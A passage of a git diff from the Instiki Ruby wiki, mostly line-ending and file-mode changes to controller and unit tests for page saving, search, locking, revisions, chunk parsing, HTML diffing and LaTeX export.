'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', + 'author' => 'AuthorOfNewPage' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' + assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + new_page = @wiki.read_page('wiki1', 'NewPage') + assert_equal 'Contents of a new page', new_page.content + assert_equal 'AuthorOfNewPage', new_page.author + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_identical_to_last + revisions_before = @home.revisions.size + @home.lock(Time.now, 'AnAuthor') + + r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', + 'content' => @home.revisions.last.content.dup, + 'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'} + + assert_redirect_url '/wiki1/show/HomePage' + assert_flash_has :error + assert r.flash[:error].kind_of?(Instiki::ValidationError) + + revisions_after = @home.revisions.size + assert_equal revisions_before, revisions_after + assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' + end + + + def test_search + setup_wiki_with_three_pages + process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + assert_redirected_to :action => 'show', :id => 'Oak' + end + + def test_search_multiple_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'All about' + + assert_success + assert_equal 'All about', r.template_objects['query'] + assert_equal [@elephant, @oak], r.template_objects['results'] + end + + def test_search_zero_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' + + assert_success + assert_equal [], r.template_objects['results'] + end + + + def test_show_page + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + assert_success + assert_match /First revision of the end/, r.body + end + + def test_show_page_with_multiple_revisions + @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, + Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + + assert_success + assert_match /Second revision of the end/, r.body + end + + def test_show_page_nonexistant_page + process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') + assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' + end + + + def test_tex + r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + + "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + + "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + + "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + + "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + + "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + + "the HomePage end\n\n\\end{document}", r.body + end + + + def test_update_web + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', + 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert_equal 'renamed_wiki1', @web.address + assert_equal 'Renamed Wiki1', @web.name + assert_equal :markdown, @web.markup + assert_equal 'blue', @web.color + assert @web.safe_mode + assert_equal 'new_password', @web.password + assert @web.published + assert @web.brackets_only + assert @web.count_pages + assert @web.allow_uploads + end + + def test_update_web_opposite_values + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'password' => 'new_password') + # safe_mode, published, brackets_only, count_pages, allow_uploads not set + # and should become false + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert !@web.safe_mode + assert !@web.published + assert !@web.brackets_only + assert !@web.count_pages + assert !@web.allow_uploads + end + + def test_web_list + another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') + + r = process('web_list') + + assert_success + assert_equal [another_wiki, @web], r.template_objects['webs'] + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb old mode 100755 new mode 100644 index 5b3e3e13..66bf8d5c --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -1,113 +1,113 @@ -ENV['RAILS_ENV'] ||= 'test' -require File.dirname(__FILE__) + '/../config/environment' -require 'application' -require 'test/unit' -require 'action_controller/test_process' - -# Uncomment this variable to have assert_success check that response bodies are valid XML -$validate_xml_in_assert_success = true - -# Convenient setup method for Test::Unit::TestCase -class Test::Unit::TestCase - - private - - def setup_controller_test(controller_class = nil, host = nil) - if controller_class - @controller = controller_class - elsif self.class.to_s =~ /^(\w+Controller)Test$/ - @controller = Object::const_get($1) - else - raise "Cannot derive the name of controller under test from class name #{self.class}" - end - @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new - @request.host = host || 'localhost' - return @request, @response - end - - # Wiki fixture for tests - - def setup_test_wiki - @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new - @web = @wiki.create_web('Test Wiki 1', 'wiki1') - @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, - Author.new('AnAuthor', '127.0.0.1')) - end - - def setup_wiki_with_three_pages - @oak = @wiki.write_page('wiki1', 'Oak', - "All about oak.\n" + - "category: trees", - 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) - @elephant = @wiki.write_page('wiki1', 'Elephant', - "All about elephants.\n" + - "category: animals", - 10.minutes.ago, Author.new('Guest', '127.0.0.2')) - end - - def tear_down_wiki - ApplicationController.wiki = nil - end - -end - -class WikiServiceWithNoPersistence - include AbstractWikiService - def initialize - init_wiki_service - end - - def storage_path - RAILS_ROOT + '/storage/test/' - end -end - - -# This module is to be included in unit tests that involve matching chunks. -# It provides a easy way to test whether a chunk matches a particular string -# and any the values of any fields that should be set after a match. -class ContentStub < String - attr_reader :chunks, :content - def initialize(str) - super - @chunks = [] - end -end - -module ChunkMatch - - # Asserts a number of tests for the given type and text. - def match(chunk_type, test_text, expected_chunk_state) - if chunk_type.respond_to? :pattern - assert_match(chunk_type.pattern, test_text) - end - - content = ContentStub.new(test_text) - chunk_type.apply_to(content) - - # Test if requested parts are correct. - expected_chunk_state.each_pair do |a_method, expected_value| - assert content.chunks.last.kind_of?(chunk_type) - assert_respond_to(content.chunks.last, a_method) - assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), - "Wrong #{a_method} value") - end - end -end - -if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true - module Test - module Unit - module Assertions - unless method_defined? :__assert_success_before_ovverride_by_instiki - alias :__assert_success_before_ovverride_by_instiki :assert_success - end - def assert_success - __assert_success_before_ovverride_by_instiki - if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content - else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end - end - end - end - end -end +ENV['RAILS_ENV'] ||= 'test' +require File.dirname(__FILE__) + '/../config/environment' +require 'application' +require 'test/unit' +require 'action_controller/test_process' + +# Uncomment this variable to have assert_success check that response bodies are valid XML +$validate_xml_in_assert_success = true + +# Convenient setup method for Test::Unit::TestCase +class Test::Unit::TestCase + + private + + def setup_controller_test(controller_class = nil, host = nil) + if controller_class + @controller = controller_class + elsif self.class.to_s =~ /^(\w+Controller)Test$/ + @controller = Object::const_get($1) + else + raise "Cannot derive the name of controller under test from class name #{self.class}" + end + @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new + @request.host = host || 'localhost' + return @request, @response + end + + # Wiki fixture for tests + + def setup_test_wiki + @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new + @web = @wiki.create_web('Test Wiki 1', 'wiki1') + @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, + Author.new('AnAuthor', '127.0.0.1')) + end + + def setup_wiki_with_three_pages + @oak = @wiki.write_page('wiki1', 'Oak', + "All about oak.\n" + + "category: trees", + 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) + @elephant = @wiki.write_page('wiki1', 'Elephant', + "All about elephants.\n" + + "category: animals", + 10.minutes.ago, Author.new('Guest', '127.0.0.2')) + end + + def tear_down_wiki + ApplicationController.wiki = nil + end + +end + +class WikiServiceWithNoPersistence + include AbstractWikiService + def initialize + init_wiki_service + end + + def storage_path + RAILS_ROOT + '/storage/test/' + end +end + + +# This module is to be included in unit tests that involve matching chunks. +# It provides a easy way to test whether a chunk matches a particular string +# and any the values of any fields that should be set after a match. +class ContentStub < String + attr_reader :chunks, :content + def initialize(str) + super + @chunks = [] + end +end + +module ChunkMatch + + # Asserts a number of tests for the given type and text. + def match(chunk_type, test_text, expected_chunk_state) + if chunk_type.respond_to? :pattern + assert_match(chunk_type.pattern, test_text) + end + + content = ContentStub.new(test_text) + chunk_type.apply_to(content) + + # Test if requested parts are correct. + expected_chunk_state.each_pair do |a_method, expected_value| + assert content.chunks.last.kind_of?(chunk_type) + assert_respond_to(content.chunks.last, a_method) + assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), + "Wrong #{a_method} value") + end + end +end + +if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true + module Test + module Unit + module Assertions + unless method_defined? :__assert_success_before_ovverride_by_instiki + alias :__assert_success_before_ovverride_by_instiki :assert_success + end + def assert_success + __assert_success_before_ovverride_by_instiki + if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content + else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end + end + end + end + end +end diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb index cdf29f23..991a450a 100755 --- a/test/unit/chunks/category_test.rb +++ b/test/unit/chunks/category_test.rb @@ -1,23 +1,23 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/category' -require 'chunks/match' - -class CategoryTest < Test::Unit::TestCase - include ChunkMatch - - def test_single_category - match(Category, 'category: test', :list => ['test'], :hidden => nil) - match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) - match(Category, ':category: test', :list => ['test'], :hidden => ':') - end - - def test_multiple_categories - match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) - match(Category, 'category : chunk test , multi category,regression test case ', - :list => ['chunk test','multi category','regression test case'], :hidden => nil - ) - end - -end +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/category' +require 'chunks/match' + +class CategoryTest < Test::Unit::TestCase + include ChunkMatch + + def test_single_category + match(Category, 'category: test', :list => ['test'], :hidden => nil) + match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) + match(Category, ':category: test', :list => ['test'], :hidden => ':') + end + + def test_multiple_categories + match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) + match(Category, 'category : chunk test , multi category,regression test case ', + :list => ['chunk test','multi category','regression test case'], :hidden => nil + ) + end + +end diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb index c2a78a55..f861c0fb 100755 --- a/test/unit/chunks/nowiki_test.rb +++ b/test/unit/chunks/nowiki_test.rb @@ -1,16 +1,16 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/nowiki' -require 'chunks/match' - -class NoWikiTest < Test::Unit::TestCase - include ChunkMatch - - def test_simple_nowiki - match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', - :plain_text => '[[raw text]]' - ) - end - -end +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/nowiki' +require 'chunks/match' + +class NoWikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple_nowiki + match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', + :plain_text => '[[raw text]]' + ) + end + +end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index fa8e64a1..043f547c 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -1,81 +1,81 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/wiki' - -class WikiTest < Test::Unit::TestCase - - class ContentStub < String - def chunks - @chunks ||= [] - end - end - - include ChunkMatch - - def test_simple - match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') - end - - def test_escaped - match(WikiChunk::Word, 'Do not link to an \EscapedWord', - :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' - ) - end - - def test_simple_brackets - match(WikiChunk::Link, 'This is a [[bracketted link]]', - :page_name => 'bracketted link', :escaped_text => nil - ) - end - - def test_complex_brackets - match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', - :page_name => 'Sperberg-McQueen', :escaped_text => nil - ) - end - - def test_textile_link - textile_link = ContentStub.new('"Here is a special link":SpecialLink') - WikiChunk::Word.apply_to(textile_link) - assert_equal '"Here is a special link":SpecialLink', textile_link - assert textile_link.chunks.empty? - end - - def test_file_types - # only link - assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' - # link and text - assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' - # link and type (file) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' - # link and type (pic) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' - # link, text and type - assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' - - # NEGATIVE TEST CASES - - # empty page name - assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' - # empty link text - assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' - # empty link type - assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' - # unknown link type - assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', - '[[page name:create_system]]' - end - - def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link) - link_to_file = ContentStub.new(link) - WikiChunk::Link.apply_to(link_to_file) - chunk = link_to_file.chunks.last - assert chunk - assert_equal expected_page_name, chunk.page_name - assert_equal expected_link_text, chunk.link_text - assert_equal expected_link_type, chunk.link_type - end - -end - +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/wiki' + +class WikiTest < Test::Unit::TestCase + + class ContentStub < String + def chunks + @chunks ||= [] + end + end + + include ChunkMatch + + def test_simple + match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') + end + + def test_escaped + match(WikiChunk::Word, 'Do not link to an \EscapedWord', + :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' + ) + end + + def test_simple_brackets + match(WikiChunk::Link, 'This is a [[bracketted link]]', + :page_name => 'bracketted link', :escaped_text => nil + ) + end + + def test_complex_brackets + match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', + :page_name => 'Sperberg-McQueen', :escaped_text => nil + ) + end + + def test_textile_link + textile_link = ContentStub.new('"Here is a special link":SpecialLink') + WikiChunk::Word.apply_to(textile_link) + assert_equal '"Here is a special link":SpecialLink', textile_link + assert textile_link.chunks.empty? + end + + def test_file_types + # only link + assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' + # link and text + assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' + # link and type (file) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' + # link and type (pic) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' + # link, text and type + assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' + + # NEGATIVE TEST CASES + + # empty page name + assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' + # empty link text + assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' + # empty link type + assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' + # unknown link type + assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', + '[[page name:create_system]]' + end + + def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link) + link_to_file = ContentStub.new(link) + WikiChunk::Link.apply_to(link_to_file) + chunk = link_to_file.chunks.last + assert chunk + assert_equal expected_page_name, chunk.page_name + assert_equal expected_link_text, chunk.link_text + assert_equal expected_link_type, chunk.link_type + end + +end + diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 21e9d98f..b79646ff 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,82 +1,82 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'diff' - -include Diff - -class DiffTest < Test::Unit::TestCase - def test_init - assert(1 == 1, "tests working") - assert_nothing_raised("object created") do - s = SequenceMatcher.new "private Thread currentThread;", - "private volatile Thread currentThread;", - proc { |x| x == ' ' } - end - end - - def test_matching_blocks - s = SequenceMatcher.new "abxcd", "abcd" - assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], - "get_matching_blocks works") - end - - def test_ratio - s = SequenceMatcher.new "abcd", "bcde" - assert(s.ratio == 0.75, "ratio works") - assert(s.quick_ratio == 0.75, "quick_ratio works") - assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") - end - - def test_longest_match - s = SequenceMatcher.new(" abcd", "abcd abcd") - assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], - "find_longest_match works") - s = SequenceMatcher.new() - end - - def test_opcodes - s = SequenceMatcher.new("qabxcd", "abycdf") - assert(s.get_opcodes == [ - [:delete, 0, 1, 0, 0], - [:equal, 1, 3, 0, 2], - [:replace, 3, 4, 2, 3], - [:equal, 4, 6, 3, 5], - [:insert, 6, 6, 5, 6]], "get_opcodes works") - end - - - def test_count_leading - assert(Diff.count_leading(' abc', ' ') == 3, - "count_leading works") - end - - def test_html2list - a = "here is the original text" - #p HTMLDiff.html2list(a) - end - - def test_html_diff - a = "this was the original string" - b = "this is the super string" - assert_equal 'this was ' + - 'is the ' + - 'original ' + - 'super string', - HTMLDiff.diff(a, b) - end - - def test_html_diff_with_multiple_paragraphs - a = "

            this was the original string

            " - b = "

            this is

            \r\n

            the super string

            \r\n

            around the world

            " - - assert_equal( - "

            this was " + - "is

            \r\n

            the " + - "original " + - "super string

            \r\n" + - "

            around the world

            ", - HTMLDiff.diff(a, b) - ) - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'diff' + +include Diff + +class DiffTest < Test::Unit::TestCase + def test_init + assert(1 == 1, "tests working") + assert_nothing_raised("object created") do + s = SequenceMatcher.new "private Thread currentThread;", + "private volatile Thread currentThread;", + proc { |x| x == ' ' } + end + end + + def test_matching_blocks + s = SequenceMatcher.new "abxcd", "abcd" + assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], + "get_matching_blocks works") + end + + def test_ratio + s = SequenceMatcher.new "abcd", "bcde" + assert(s.ratio == 0.75, "ratio works") + assert(s.quick_ratio == 0.75, "quick_ratio works") + assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") + end + + def test_longest_match + s = SequenceMatcher.new(" abcd", "abcd abcd") + assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], + "find_longest_match works") + s = SequenceMatcher.new() + end + + def test_opcodes + s = SequenceMatcher.new("qabxcd", "abycdf") + assert(s.get_opcodes == [ + [:delete, 0, 1, 0, 0], + [:equal, 1, 3, 0, 2], + [:replace, 3, 4, 2, 3], + [:equal, 4, 6, 3, 5], + [:insert, 6, 6, 5, 6]], "get_opcodes works") + end + + + def test_count_leading + assert(Diff.count_leading(' abc', ' ') == 3, + "count_leading works") + end + + def test_html2list + a = "here is the original text" + #p HTMLDiff.html2list(a) + end + + def test_html_diff + a = "this was the original string" + b = "this is the super string" + assert_equal 'this was ' + + 'is the ' + + 'original ' + + 'super string', + HTMLDiff.diff(a, b) + end + + def test_html_diff_with_multiple_paragraphs + a = "

            this was the original string

            " + b = "

            this is

            \r\n

            the super string

            \r\n

            around the world

            " + + assert_equal( + "

            this was " + + "is

            \r\n

            the " + + "original " + + "super string

            \r\n" + + "

            around the world

            ", + HTMLDiff.diff(a, b) + ) + end end \ No newline at end of file diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb old mode 100644 new mode 100755 index 7bf13d95..01e468b0 --- a/test/unit/file_yard_test.rb +++ b/test/unit/file_yard_test.rb @@ -1,35 +1,35 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'fileutils' -require 'file_yard' -require 'stringio' - -class FileYardTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(file_path) - FileUtils.rm(Dir["#{file_path}/*"]) - @yard = FileYard.new(file_path) - end - - def test_files - assert_equal [], @yard.files - - # FileYard gets the list of files from directory in the constructor - @yard.upload_file('aaa', StringIO.new('file contents')) - assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"] - assert_equal ['aaa'], @yard.files - assert @yard.has_file?('aaa') - assert_equal 'file contents', File.read(@yard.file_path('aaa')) - end - - def test_file_path - assert_equal "#{file_path}/abcd", @yard.file_path('abcd') - end - - def file_path - "#{RAILS_ROOT}/storage/test/instiki" - end - +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'fileutils' +require 'file_yard' +require 'stringio' + +class FileYardTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(file_path) + FileUtils.rm(Dir["#{file_path}/*"]) + @yard = FileYard.new(file_path) + end + + def test_files + assert_equal [], @yard.files + + # FileYard gets the list of files from directory in the constructor + @yard.upload_file('aaa', StringIO.new('file contents')) + assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"] + assert_equal ['aaa'], @yard.files + assert @yard.has_file?('aaa') + assert_equal 'file contents', File.read(@yard.file_path('aaa')) + end + + def test_file_path + assert_equal "#{file_path}/abcd", @yard.file_path('abcd') + end + + def file_path + "#{RAILS_ROOT}/storage/test/instiki" + end + end \ No newline at end of file diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 8e965a50..3c1e93e3 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,91 +1,91 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'page' - -class PageTest < Test::Unit::TestCase - - class MockWeb < Web - def initialize() super(nil, 'test','test') end - def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end - def refresh_pages_with_references(name) end - end - - def setup - @page = Page.new( - MockWeb.new, - "FirstPage", - "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson") - end - - def test_lock - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) - assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) - - @page.unlock - - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - end - - def test_lock_duration - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) - end - - def test_plain_name - assert_equal "First Page", @page.plain_name - end - - def test_revise - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length, 'Should have two revisions' - assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' - assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' - end - - def test_revise_continous_revision - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - - @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content - assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at - - @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') - assert_equal 3, @page.revisions.length - assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content - - @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') - assert_equal 4, @page.revisions.length - end - - def test_revise_content_unchanged - last_revision_before = @page.revisions.last - revisions_number_before = @page.revisions.size - - assert_raises(Instiki::ValidationError) { - @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') - } - - assert_same last_revision_before, @page.revisions.last - assert_equal revisions_number_before, @page.revisions.size - end - - def test_rollback - @page.revise("spot two", Time.now, "David") - @page.revise("spot three", Time.now + 2000, "David") - assert_equal 3, @page.revisions.length, "Should have three revisions" - @page.rollback(1, Time.now) - assert_equal "spot two", @page.content - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'page' + +class PageTest < Test::Unit::TestCase + + class MockWeb < Web + def initialize() super(nil, 'test','test') end + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end + def refresh_pages_with_references(name) end + end + + def setup + @page = Page.new( + MockWeb.new, + "FirstPage", + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson") + end + + def test_lock + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) + assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) + + @page.unlock + + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + end + + def test_lock_duration + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) + end + + def test_plain_name + assert_equal "First Page", @page.plain_name + end + + def test_revise + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length, 'Should have two revisions' + assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' + assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' + end + + def test_revise_continous_revision + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + + @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content + assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at + + @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') + assert_equal 3, @page.revisions.length + assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content + + @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') + assert_equal 4, @page.revisions.length + end + + def test_revise_content_unchanged + last_revision_before = @page.revisions.last + revisions_number_before = @page.revisions.size + + assert_raises(Instiki::ValidationError) { + @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') + } + + assert_same last_revision_before, @page.revisions.last + assert_equal revisions_number_before, @page.revisions.size + end + + def test_rollback + @page.revise("spot two", Time.now, "David") + @page.revise("spot three", Time.now + 2000, "David") + assert_equal 3, @page.revisions.length, "Should have three revisions" + @page.rollback(1, Time.now) + assert_equal "spot two", @page.content + end + +end diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index d9237ed0..82270303 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,69 +1,69 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'redcloth_for_tex' - -class RedClothForTexTest < Test::Unit::TestCase - def test_basics - assert_equal '{\bf First Page}', RedClothForTex.new("*First 